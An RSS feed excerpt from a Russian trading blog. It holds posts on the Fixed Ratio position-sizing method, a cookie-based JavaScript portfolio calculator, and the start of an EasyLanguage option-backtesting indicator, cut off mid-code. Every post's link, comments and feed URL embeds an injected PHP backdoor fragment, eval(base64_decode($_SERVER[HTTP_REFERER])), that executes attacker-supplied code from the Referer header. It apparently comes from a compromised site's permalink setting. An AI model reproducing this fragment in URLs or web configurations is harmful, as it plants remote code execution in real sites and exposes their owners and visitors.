		<title>Портфельный метод управления рисками Fixed Ratio</title>
		<link>http://www.pitbear.com/2006/04/14/fixed-ratio-method/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2006/04/14/fixed-ratio-method/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 14 Apr 2006 19:05:38 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[Finance]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[риск]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/fixed-ratio-method.php</guid>
		<description><![CDATA[
Метод Fixed Ratio, разработанный Райн Джонсом, подразумевает то, что отношение торгуемого числа лотов, к приращению капитала, должно быть постоянным. Это основная концепция метода! Таким образом, при использовании метода, риски увеличиваются только за счёт полученной прибыли, позволяя эффективно реинвестировать заработанную прибыль.
Такой подход, прежде всего, интересен агрессивным спекулянтам, которые ведут маржинальную торговлю внутри дня сразу по нескольким [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">
<p align="justify">Метод Fixed Ratio, разработанный Райн Джонсом, подразумевает то, что отношение торгуемого числа лотов, к приращению капитала, должно быть постоянным. Это основная концепция метода! Таким образом, при использовании метода, риски увеличиваются только за счёт полученной прибыли, позволяя эффективно реинвестировать заработанную прибыль.</p>
<p align="justify">Такой подход, прежде всего, интересен агрессивным спекулянтам, которые ведут маржинальную торговлю внутри дня сразу по нескольким бумагам.<br />
Этот метод был доработан и обобщён до портфеля, который представлен в <a href="http://www.pitbear.com/financial-fixed-ratio-portfolio-risk-management-calculator.php" title="Financial Fixed-Ratio portfolio Risk-management calculator">Fixed Ratio Calculator</a>.</p>
<p>Как пользоваться калькулятором? Сначала необходимо инициализировать начальные данные на которые опирается метод: </p>
<ol>
<li><strong>init asset</strong> – начальный капитал. Это значение остаётся постоянным на протяжении всей работы метода, даже если ваша капитал вырос в несколько раз.</li>
<li><strong>leverage </strong>– плечо вашего брокера.</li>
<li><strong>DD </strong>– максимальный дродаун в процентах, который вы готовы терпеть по портфелю.</li>
<li><strong>ticker </strong>– название эмитента.</li>
<li><strong>price </strong>– цена одной акции.</li>
<li><strong>dd </strong>– просадка используемой стратегии за год, или critical stop-loss.</li>
<li><strong>part </strong>– доля бумаг в портфеле, в процентах, в сумме должны быть 100%.</li>
</ol>
<p><span id="more-102"></span><em><u>Продолжение:</u></em></p>
<p>После этого нажимаете кнопку “initialize”. На экране появляются:</p>
<ol>
<li><strong>base </strong>– базовый капитал, минимальная сумма необходимая для операций с этим портфелем.</li>
<li><strong>current leverage</strong> – фактическое плечо, которое использует метод.</li>
</ol>
<p><center><br />
<img src="http://www.pitbear.com/images/fixed-ratio-example.gif" alt="Пример работы с Fixed-Ratio калькулятором" title="Пример работы с Fixed-Ratio калькулятором"/><br />
</center></p>
<p>Заполненные значения сохраняются в броузере у вас на компьютере.</p>
<p>Затем только заполняется поле Money и после этого жмёте “calculate” &#8211; калькулятор заполняет все значения поля:</p>
<ol>
<li><strong>lots </strong>– количество контрактов, с которыми можно открывать позицию.</li>
<li><strong>limit </strong>– лимит открытых позиций.</li>
</ol>
<p><em>Буду рад если кому-то калькулятор принесёт пользу.</em></p>
<p>Запишем в уравнение основную концепцию метода:<br />
<center><br />
<strong>nd = E<sub>n</sub> &#8211; E<sub>n-1</sub></strong>, или<br />
<strong>E<sub>n</sub>= E<sub>1</sub> + n(n – 1)d/2<br />
</strong></center><br />
Решая его найдём <strong>n</strong>:</p>
<p><center></p>
<table cellspacing="0" border="0">
<tr>
<th>n = 1/2 +√</font></th>
<th>
<table cellspacing="0" border="0">
<tr>
<th bgcolor="#000000"></th>
</tr>
<tr>
<th>2(E<sub>n</sub> – E<sub>1</sub>)/d + 0.25</th>
</tr>
</table>
</th>
</tr>
</table>
<p></center></p>
<p align="justify">Если придерживаться формуле надо начинать торговлю всегда с одного лота, что может не соответствовать  реальному положению вещей. Для того, приведём замену <strong>B=E<sub>1</sub></strong> и найдём найдём такой базовый капитал <strong>B</strong>, при котором для любого <strong>n</strong>: <strong>mn/l ≤ E<sub>n</sub></strong>, где <strong>m</strong> и <strong>l</strong> это стоимость акций и плечо соответсвенно. Затем определим точку касания <strong>n<sup>*</sup></strong>, в которой расположен экстремум функции <strong>E<sub>n</sub> &#8211; mn/l</strong>. С помощию производной найдём:<br />
<center><br />
<strong>n<sup>*</sup>= m/(dl)</strong>,<br />
</center><br />
подставляя выше, получим:<br />
<center><br />
<strong>B+n<sup>*<sup>2</sup></sup>d/2 = (m/l)<sup>2</sup>/d</strong>,<br />
</center><br />
из чего:</p>
<p><center></p>
<table cellspacing="0" border="0">
<tr>
<th>B =</th>
<th>
<table cellspacing="0" border="0">
<tr>
<th>(m/l)<sup>2</sup></th>
</tr>
<tr>
<th bgcolor="#000000"></th>
</tr>
<tr>
<th><center>2d</center></th>
</tr>
</table>
</th>
</tr>
</table>
<p></center></p>
<p>Таким образом мы сразу начинаем торговать с <strong>m/(dl)</strong> лотов и при этом начальный капитал должен быть больше <strong>(m/l)<sup>2</sup>/d</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2006/04/14/fixed-ratio-method/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Fixed Ratio Calculator (Beta Version)</title>
		<link>http://www.pitbear.com/2006/04/09/financial-fixed-ratio-portfolio-risk-management-calculator/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2006/04/09/financial-fixed-ratio-portfolio-risk-management-calculator/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 09 Apr 2006 18:57:15 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[Finance]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Research(eng)]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[риск]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/financial-fixed-ratio-portfolio-risk-management-calculator.php</guid>
		<description><![CDATA[

var names = new Array('ticker', 'price', 'dd', 'shares', 'part', 'lots');
var is_init = 0;
function set_cookie(name, value){
	expires = new Date();
	expires.setTime(expires.getTime() + (1000 * 86400 * 365));
	document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString() +  "; path=/";
}
function get_cookie(name){
	cookie_name = name + "=";
	cookie_length = document.cookie.length;
	cookie_begin = 0;
	while (cookie_begin < cookie_length){
		value_begin = cookie_begin + cookie_name.length;
		if [...]]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript" src="http://www.pitbear.com/ajax/Js.js"></script></p>
<p><script type="text/javascript"></p>
<p>var names = new Array('ticker', 'price', 'dd', 'shares', 'part', 'lots');</p>
<p>var is_init = 0;</p>
<p>function set_cookie(name, value){
	expires = new Date();
	expires.setTime(expires.getTime() + (1000 * 86400 * 365));
	document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString() +  "; path=/";
}
function get_cookie(name){
	cookie_name = name + "=";
	cookie_length = document.cookie.length;
	cookie_begin = 0;
	while (cookie_begin < cookie_length){
		value_begin = cookie_begin + cookie_name.length;
		if (document.cookie.substring(cookie_begin, value_begin) == cookie_name){
			var value_end = document.cookie.indexOf (";", value_begin);
			if (value_end == -1)
				value_end = cookie_length;
			return unescape(document.cookie.substring(value_begin, value_end));
		}
		cookie_begin = document.cookie.indexOf(" ", cookie_begin) + 1;
		if (cookie_begin == 0)
			break;
	}
	return null;
}
function delete_cookie(name)
{
	if(get_cookie(name))
	{
		expires = new Date();
		expires.setTime(expires.getTime() - (10 * 86400 * 365));
		document.cookie = name + "=; expires=" + expires.toGMTString() +  "; path=/";
	}
}</p>
<p>function read(){
	var b = parseFloat(get_cookie('base_money'));
	if (isNaN(b) || (b <= 0))
	{
		reset();
		is_init = 0;
	}else
	{
		document.getElementById('init_money').value = parseInt(get_cookie('init_money'));
		document.getElementById('leverage').value = Math.floor(100*parseFloat(get_cookie('leverage')))/100;
		document.getElementById('pdd').value = Math.floor(100*parseFloat(get_cookie('pdd')))/100;
		document.getElementById('base_money').value = parseInt(get_cookie('base_money'));
		document.getElementById('max_leverage').value = Math.floor(1000*parseFloat(get_cookie('max_leverage')))/1000;
		document.getElementById('money').value = '';
		document.getElementById('current_leverage').value = '';
		document.getElementById('money_limit').value = '';</p>
<p>		is_init = 1;
		document.b.init.value = 'reset';</p>
<p>		var rows = get_cookie('rows');</p>
<p>		for(var j = 1; j < rows; j++) addNewRow();</p>
<p>		for(var j = 0; j < rows; j++)
		{
			document.getElementById('ticker_' + j).value = get_cookie('ticker_'+j);
			document.getElementById('price_' + j).value = parseFloat(get_cookie('price_'+j));
			document.getElementById('dd_' + j).value = parseFloat(get_cookie('dd_'+j));
			document.getElementById('shares_' + j).value = parseFloat(get_cookie('shares_'+j));
			document.getElementById('part_' + j).value = parseFloat(get_cookie('part_'+j));
			document.getElementById('lots_' + j).value = 0;
		}
	}
}</p>
<p>function reset(){
	var theTable = document.getElementById('portfolio');
	var rowsCount = theTable.tBodies[0].rows.length;
	for(var j = rowsCount - 1; j > 0 ; j--)	{
	if (theTable.tBodies[0].rows[j]) theTable.tBodies[0].removeChild(theTable.tBodies[0].rows[j]); }
	delete_cookie('init_money');
	delete_cookie('leverage');
	delete_cookie('pdd');
	delete_cookie('base_money');
	delete_cookie('max_leverage');
	document.getElementById('init_money').value = '';
	document.getElementById('leverage').value = '';
	document.getElementById('pdd').value = '';
	document.getElementById('base_money').value = '';
	document.getElementById('max_leverage').value = '';
	document.getElementById('money').value = '';
	document.getElementById('money_limit').value = '';
	document.getElementById('current_leverage').value = '';
	var b = document.getElementById('pdd').value;
	var rows = get_cookie('rows');
	document.getElementById('ticker_0').value = '';
	document.getElementById('price_0').value = '';
	document.getElementById('dd_0').value = '';
	document.getElementById('shares_0').value = '';
	document.getElementById('part_0').value = '';
	document.getElementById('lots_0').value = '';
	for(var j = 0; j < rows; j++)
		{
			delete_cookie('ticker_'+j);
			delete_cookie('price_'+j);
			delete_cookie('dd_'+j);
			delete_cookie('shares_'+j);
			delete_cookie('part_'+j);
		}
	delete_cookie('rows');
}</p>
<p>function addRow() {
	if (confirm("Do you add new line?"))
	{
		addNewRow();
		document.getElementById('base_money').value = '';
		document.getElementById('max_leverage').value = '';
		document.getElementById('money').value = '';
		document.getElementById('money_limit').value = '';
		document.getElementById('current_leverage').value = '';</p>
<p>		document.b.init.value = 'initialize';
		is_init = 0;
	}
}</p>
<p>function addNewRow() {
	var theTable = document.getElementById('portfolio');
	var rowsCount = theTable.tBodies[0].rows.length;
	theTable.tBodies[0].appendChild(
		theTable.tBodies[0].rows[rowsCount - 1].cloneNode(true)
	)
	var inputs = theTable.tBodies[0].rows[rowsCount].getElementsByTagName('INPUT'); 
	for (var j = 0; j < inputs.length; j++){
		inputs[j].id = inputs[j].name = names[j] + '_'	+ rowsCount;
		inputs[j].value = '';
	}
}</p>
<p>function init() {
	var theTable = document.getElementById('portfolio');
	var all_loss_percent = 0;
	var all_base_money=0;
	var all_part = 0;
	var leverage;
	var pdd;
	var init_money;
	var cur_lev;
	if (is_init == 0)
	{
	init_money = parseFloat(document.getElementById('init_money').value);
	leverage = parseFloat(document.getElementById('leverage').value);
	pdd = parseFloat(document.getElementById('pdd').value);
	if (isNaN(init_money) || (init_money <= 0)) {
		alert('Invalid "init money" in portfolio');
		return;
		}
	if (isNaN(leverage) || (leverage <= 0) || (leverage > 100)) {
		alert('Invalid leverage in portfolio');
		return;
		}
	if (isNaN(pdd) || (pdd <= 0) || (pdd > 100)) {
		alert('Invalid DD in portfolio');
		return;
		}</p>
<p>	for(j = 0; j < theTable.tBodies[0].rows.length; j++)
	{
		var ticker = document.getElementById('ticker_' + j).value;
		var price = parseFloat(document.getElementById('price_' + j).value);
		var dd = parseFloat(document.getElementById('dd_' + j).value);
		var shares = parseInt(document.getElementById('shares_' + j).value);
		var part = parseFloat(document.getElementById('part_' + j).value);
		if (ticker.length < 1){
			alert('Tiker name in string ' + (j+1) + ' is empty');
			return;
			}
		if (isNaN(price) || (price <= 0)) {
			alert('Invalid price at ticker ' + ticker);
			return;
			}
		if (isNaN(dd) || (dd <= 0)) {
			alert('Invalid drowdown at ticker ' + ticker);
			return;
			}
		if (isNaN(shares) || (shares <= 0)) {
			alert('Invalid shares at ticker ' + ticker);
			return;
			}
		if (isNaN(part) || (part <= 0)) {
			alert('Invalid part at ticker ' + ticker);
			return;
			}
		all_loss_percent += part*(dd/price);
		all_part += part;
	}
	if (all_part != 100){
			alert('All part summary must be equal 100%');
			return;
	}
	cur_lev = Math.min(pdd*Math.sqrt(theTable.tBodies[0].rows.length/20)/all_loss_percent, leverage);</p>
<p>	for(j = 0; j < theTable.tBodies[0].rows.length; j++)
	{
		var price = parseFloat(document.getElementById('price_' + j).value);
		var dd = parseFloat(document.getElementById('dd_' + j).value);
		var shares = parseInt(document.getElementById('shares_' + j).value);
		var part = parseFloat(document.getElementById('part_' + j).value);</p>
<p>		all_base_money += (price/dd + 1)*price*shares/(2*cur_lev)*(1+Math.sqrt(200*dd/(price*pdd)))/2;
	}
	if (init_money < all_base_money){
			alert('Increase "init money" to ' + all_base_money);
			return;
	}</p>
<p>	document.getElementById('base_money').value = Math.floor(100*all_base_money)/100;
	document.getElementById('max_leverage').value = Math.floor(1000*cur_lev)/1000;</p>
<p>	set_cookie('init_money', init_money);
	set_cookie('leverage', leverage);
	set_cookie('pdd', pdd);
	set_cookie('base_money', all_base_money);
	set_cookie('max_leverage', cur_lev);</p>
<p>	set_cookie('rows', theTable.tBodies[0].rows.length);
	for(j = 0; j < theTable.tBodies[0].rows.length; j++)
	{
		var ticker = document.getElementById('ticker_' + j).value;
		var price = parseFloat(document.getElementById('price_' + j).value);
		var dd = parseFloat(document.getElementById('dd_' + j).value);
		var shares = parseInt(document.getElementById('shares_' + j).value);
		var part = parseFloat(document.getElementById('part_' + j).value);
		set_cookie('ticker_'+j, ticker);
		set_cookie('price_'+j, price);
		set_cookie('dd_'+j, dd);
		set_cookie('shares_'+j, shares);
		set_cookie('part_'+j, part);
	}</p>
<p>	document.b.init.value = 'reset';
	is_init = 1;
	}
	else
	{
	if (confirm("Do you have create new portfolio?"))
	{
		reset();
		document.b.init.value = 'initlize';
		is_init = 0;
	}
	}
}</p>
<p>function calc() {
	var theTable = document.getElementById('portfolio');
	var all_loss_percent = 0;
	var all_base_money;
	var all_part = 0;
	var frac;
	var money;
	var calc_money;
	var leverage;
	var pdd;
	var init_money;
	var cur_lev;
	var leverage;</p>
<p>	money = parseFloat(document.getElementById('money').value);
	init_money = parseFloat(document.getElementById('init_money').value);
	all_base_money = parseFloat(document.getElementById('base_money').value);
	leverage = parseFloat(document.getElementById('leverage').value);
	cur_lev = parseFloat(document.getElementById('max_leverage').value);
	pdd = parseFloat(document.getElementById('pdd').value);</p>
<p>	if (isNaN(all_base_money) || (all_base_money <= 0)) {
		alert('Portfolio not initialized');
		return;
		}
	if (isNaN(money) || (money <= 0)) {
		alert('Invalid value of money');
		return;
		}
	frac = (1-pdd/100)*init_money/all_base_money;
	clac_money = money/frac - all_base_money;</p>
<p>	document.getElementById('money_limit').value = 0;
	for(var j = 0; j < theTable.tBodies[0].rows.length; j++)
	{
		var ticker = document.getElementById('ticker_' + j).value;
		var price = parseFloat(document.getElementById('price_' + j).value);
		var shares = parseInt(document.getElementById('shares_' + j).value);
		var dd = parseFloat(document.getElementById('dd_' + j).value);
		var part = parseFloat(document.getElementById('part_' + j).value);
		var base_money = (price/dd + 1)*price*shares/(2*cur_lev)*(1+Math.sqrt(200*dd/(price*pdd)))/2;
		var constant = base_money/all_base_money; 
		ajax( 'lots_' + j, ticker, frac, constant, part, clac_money, dd, shares, money, leverage, price, cur_lev);
	}
}</p>
<p>function set_all(lots) {
	all_position += lots*shares*price;
	document.getElementById('money_limit').value = all_position;
}</p>
<p>function ajax(id, ticker, sfrac, sconstant, spart, sclac_money, sdd, sshares, smoney, sleverage, sprice, scur_lev) {
	var req = new Subsys_JsHttpRequest_Js();
	req.onreadystatechange = function() {
			if (req.readyState == 4) {
			if (req.responseJS) {
				document.getElementById(id).value = req.responseJS.lots;
				document.getElementById('money_limit').value =	
					Math.floor(100*(parseFloat(document.getElementById('money_limit').value) + parseFloat(req.responseJS.lots)*sshares*sprice))/100;
				document.getElementById('current_leverage').value =	
					Math.floor(100*parseFloat(document.getElementById('money_limit').value)/smoney)/100;
			}
		}
	}
	req.caching = true;</p>
<p>	req.open('POST', 'http://www.pitbear.com/ajax/load.php', true);</p>
<p>	req.send({ q: ticker, frac: sfrac, constant: sconstant, part: spart, clac_money: clac_money, dd: sdd, shares: sshares, money: smoney, leverage: sleverage, price: sprice, cur_lev: scur_lev});</p>
<p>}</p>
<p>function  p_addRow(){
	addRow();
}
function  p_init(){
	init();
}
function  p_calc(){
	calc();
}</p>
<p></script></p>
<p><fieldset><br />
<br />
<TABLE><br />
<TR><br />
<TD><br />
<label for="init_money">init asset</label><br />
<label for="leverage">leverage</label><br />
<label for="pdd">DD(%)</label><br />
<label for="money">asset</label><br />
</TD><br />
<TD></p>
<input type="text" class="calcfield" name="init_money" id="init_money"/></p>
<input type="text" class="calcfield" name="leverage" id="leverage" /></p>
<input type="text" class="calcfield" name="pdd" id="pdd"/></p>
<input type="text" class="calcfield" name="money" id="money"/>
</TD><br />
</TR></p>
<hr />
<TR><br />
<TD><br />
<label for="base_money">base</label><br />
<label for="max_leverage">max leverage</label><br />
<label for="money_limit">limit</label><br />
<label for="current_leverage">current leverage</label><br />
</TD><br />
<TD></p>
<input type="text" class="calcstatfield" readonly="readonly" name="base_money" id="base_money" /></p>
<input type="text" class="calcstatfield" readonly="readonly" name="max_leverage" id="max_leverage" /></p>
<input type="text" class="calcstatfield" readonly="readonly" name="money_limit" id="money_limit" /></p>
<input type="text" class="calcstatfield" readonly="readonly" name="current_leverage" id="current_leverage" /></TD><br />
</TR></p>
<p></TABLE><br />
</fieldset></p>
<p><center></p>
<table border="1" id="portfolio">
<thead>
<tr>
<th>ticker</th>
<th>price</th>
<th>dd</th>
<th>shares</th>
<th>part</th>
<th>lots</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<input type="text" class="calcfield" name="ticker_0" id="ticker_0" /></td>
<td>
<input type="text" class="calcfield" name="price_0" id="price_0" /></td>
<td>
<input type="text" class="calcfield" name="dd_0" id="dd_0" /></td>
<td>
<input type="text" class="calcfield" name="shares_0" id="shares_0" /></td>
<td>
<input type="text" class="calcfield" name="part_0" id="part_0" /></td>
<td>
<input type="text" class="calcfield" readonly="readonly" name="lots_0" id="lots_0" /></td>
</tr>
</tbody>
</table>
<p></center></p>
<form name="b">
<input type="button" value="add line" onclick="p_addRow()" />
<input type="button" name="init" value="initialize" onclick="p_init()" />
<input type="button" value="calculate" onclick="p_calc()" />
</form>
<p><script type="text/javascript">
read();
</script></p>
<ol>
<li><strong>init asset</strong> – the starting capital.</li>
<li><strong>leverage</strong> – the leverage of your broker.</li>
<li>
<strong>DD</strong> - admissible drawdown a portfolio, in percentage.</li>
<li><strong>asset</strong> – the current capital.</li>
<li><strong>base</strong> – the settlement value necessary for formation of the minimal portfolio.</li>
<li><strong>max leverage</strong> – the maximal limit of a leverage without DD%.</li>
<li><strong>limit</strong> – a limit on the open positions.</li>
<li><strong>current leverage</strong> – current used buy power.</li>
</ol>
<ol>
<li><strong>ticker</strong> - the ticker's name.</li>
<li><strong>price</strong> – the current price, in point.</li>
<li><strong>dd</strong> - the drawdown, in point.</li>
<li><strong>shares</strong> - quantity of papers on one contract or not devisible value.</li>
<li><strong>part</strong> – a share, in percentage, papers in a portfolio.</li>
<li>
<strong>lots</strong> – quantity of contracts.</li>
</ol>
<p><span id="more-99"></span>
<p><u><em>Functionality:</em></u>
<ol>
<li><strong>add line</strong> – adds a new line.</li>
<li><strong>init</strong> – initializes algorithm, in conformity with structure of a portfolio and a seed capital.</li>
<li><strong>reset</strong> – nulls all values.</li>
<li><strong>calculate</strong> – on the basis of the current capital calculates quantity of contracts.</li>
</ol>
<p align="right">
Better use with FireFox.<br />
Thanks to zukk.info.</p>
<p><a href="http://www.pitbear.com/fixed-ratio-method.php">Портфельный метод управления рисками Fixed Ratio - Описание</a><br />
<a href="http://www.pitbear.com/eng-fixed-ratio-method.php">Portfolio method of risks management Fixed Ratio - Description</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2006/04/09/financial-fixed-ratio-portfolio-risk-management-calculator/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Тестирование опционных стратегий в Omega TradeStation</title>
		<link>http://www.pitbear.com/2006/01/10/option-strategy/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2006/01/10/option-strategy/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 09 Jan 2006 21:14:18 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[GA4TS]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Omega Tradestation]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Парето]]></category>
		<category><![CDATA[волатильность]]></category>
		<category><![CDATA[генетический алгоритм]]></category>
		<category><![CDATA[индикатор]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[опцион]]></category>
		<category><![CDATA[хеджирование]]></category>
		<category><![CDATA[численные методы]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/?p=32</guid>
		<description><![CDATA[То что любая торговая стратегия на акциях проходит бэк-тэстинг, или проверку временем – не у кого не вызывает сомнения. Но с опционными стратегиями дело, как правило, обстоит несколько иначе. Возможно, это связано с предполагаемой сложностью реализации (это абсолютно не так), или как чаще всего бывает: тестирование ограничивается сложными формулами на бумаге или доказательством статистического преимущества. [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">То что любая торговая стратегия на акциях проходит бэк-тэстинг, или проверку временем – не у кого не вызывает сомнения. Но с опционными стратегиями дело, как правило, обстоит несколько иначе. Возможно, это связано с предполагаемой сложностью реализации (это абсолютно не так), или как чаще всего бывает: тестирование ограничивается сложными формулами на бумаге или доказательством статистического преимущества. В любом случае, никакие формулы не заменят бэк-тэстинга, а как часто бывает, новые идеи, возникают во время осмысления полученных результатов. А оптимизация в этом смысле просто создаёт почву для размышления, и никак не для того что бы использовать полученные результаты в окончательном варианте для реальной торговле.</p>
<p align="justify">Иной раз приходилось использовать абсурдные вещи: делать сигнал на открытие позиции с параметром <strong>k</strong> контрактов, где <strong>k</strong> принимает +1/-1, т.е. на &#8220;как и было&#8221;/ &#8220;поменять покупку на продажу и наоборот&#8221;. Оптимизация это та чёрная работа, которую компьютер может сделать лучше человека. Это к тому что и опционов много и параметров тоже.</p>
<p align="justify">Итак, что бы провести тестирование стратегии на опционах Omega – наилучший инструмент для этого (после Excel конечно). Для этого не обязательно иметь данные по всем страйкам опционов, со всем возможными датами погашения. А достаточно иметь дневные свечи по активу (spot) и волатильности (implied volatility). Возьмем, к примеру на <a href="http://finance.yahoo.com">Yahoo Finance</a>, QQQQ(Trust Shares NASDAQ 100) и ^QQV(QQQ Implied Volatility Index), и загрузим их в Omega как показано на рисунке ниже:</p>
<p><center><img title="QQQQ" src="http://www.pitbear.com/images/nasdaq-volatility.gif" /><br />
Рис. 1. Тестирование опционной стратегии.<br />
</center><br />
Для этого сначала загружается QQQQ, после клавишей F5 добавляется Data2.
</p>
<p><span id="more-32"></span><u><em>Продолжение</em></u></p>
<p align="justify">Рассмотрим теперь стратегию, по которой проведём тестирование. Излюбленная стратегия всех опционных трейдеров на российском и американском рынке – это продажа стрэнгла (short put, short call). Для большего интереса, добавим к ней дельта-хеджирование базовым активом. Понятно что при падении рынка придётся для поддержки нейтральности продавать спот, а при росте покупать. Поэтому заодно и постараемся ответить на вопрос, выгодно ли такое дельта-хеджирование?</p>
<p align="justify">Итак формализуем алгоритм. Опционы на QQQQ имеют экспирацию каждый месяц, и страйки расположены через 1 пункт. За <strong>back_days</strong> дней до экспирации продаём стрэнгл со всевозможными страйками, зависящими от параметра <strong>type</strong>:</p>
<ol>
<li>0: strike_put = floor(price)+1, strike_call = floor(price)</li>
<li>1: strike_put = floor(price), strike_call = floor(price)</li>
<li>2: strike_put = floor(price)-1, strike_call = floor(price)</li>
<li>3: strike_put = floor(price)+1, strike_call = floor(price)+1</li>
<li>4: strike_put = floor(price), strike_call = floor(price)+1</li>
<li>5: strike_put = floor(price)-1, strike_call = floor(price)+1</li>
<li>6: strike_put = floor(price)+1, strike_call = floor(price)+2</li>
<li>7: strike_put = floor(price), strike_call = floor(price)+2</li>
<li>8: strike_put = floor(price)-1, strike_call = floor(price)+2</li>
</ol>
<p align="justify">У полученного стрэнгла оцениваем дельту (delta), в соответсвии с этим проводим хеджирование активом с коэффициентом <strong>k_delta </strong>(положительное значение &#8211; хеджируем частью базового актива, 0 – не проводим хеджирование, отрицательное значение &#8211; наращиваем позицию против рынка). Процедура хеджирования осуществляется каждый день по цене закрытия вплоть до экпирации.</p>
<p>Ниже приведён код стратегии (реализованной как индикатор):</p>
<p><code><br />
{|||||||||||||||||||||||||||||||||||||||||||||||||||||<br />
~<strong> Option Back-testing Indicator</strong><br />
~ EasyLanguage code for Omega TradeStation<br />
~ whiteline Group Copyright (c) 2004<br />
|||||||||||||||||||||||||||||||||||||||||||||||||||||} <br />
input:<br />
&nbsp;&nbsp;&nbsp;&nbsp;type(0), {0-8}<br />
&nbsp;&nbsp;&nbsp;&nbsp;k_delta(10), {0-100}<br />
&nbsp;&nbsp;&nbsp;&nbsp;days_back(25),{3-28}<br />
&nbsp;&nbsp;&nbsp;&nbsp;print_status(false);<br />
variable:<br />
&nbsp;&nbsp;&nbsp;&nbsp;start_account(1000000),<br />
&nbsp;&nbsp;&nbsp;&nbsp;period(20),<br />
&nbsp;&nbsp;&nbsp;&nbsp;account(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;vola(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;pl(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;ha(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;dd(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;exp_days(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;base_size(1),<br />
&nbsp;&nbsp;&nbsp;&nbsp;oc_price(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;op_price(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;oc_strike(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;op_strike(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;spot_size(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;o_delta(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;o_date(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;b_open(false),<br />
&nbsp;&nbsp;&nbsp;&nbsp;str("");<br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;currentbar = 1<br />
then<br />
begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;account = start_account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;pl = account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileDelete("C:\Omega Export\pl.csv");<br />
&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(date, 0) + ", " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(account, 2) +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NewLine;<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileAppend("C:\Omega Export\pl.csv", str);<br />
end;<br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;currentbar > period and<br />
&nbsp;&nbsp;&nbsp;&nbsp;BarStatus(1) = 2<br />
then<br />
begin {global}<br />
&nbsp;&nbsp;&nbsp;&nbsp;vola = close of data2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b_open = false and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;days_back > Next3rdFriday(1) and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next3rdFriday(1) > 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin {base conract quantity}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base_size = ceiling(MaxList(1, start_account/(c*100/5)));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o_date = DateToJulian(date) + Next3rdFriday(1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exp_days = o_date - DateToJulian(date); <br />
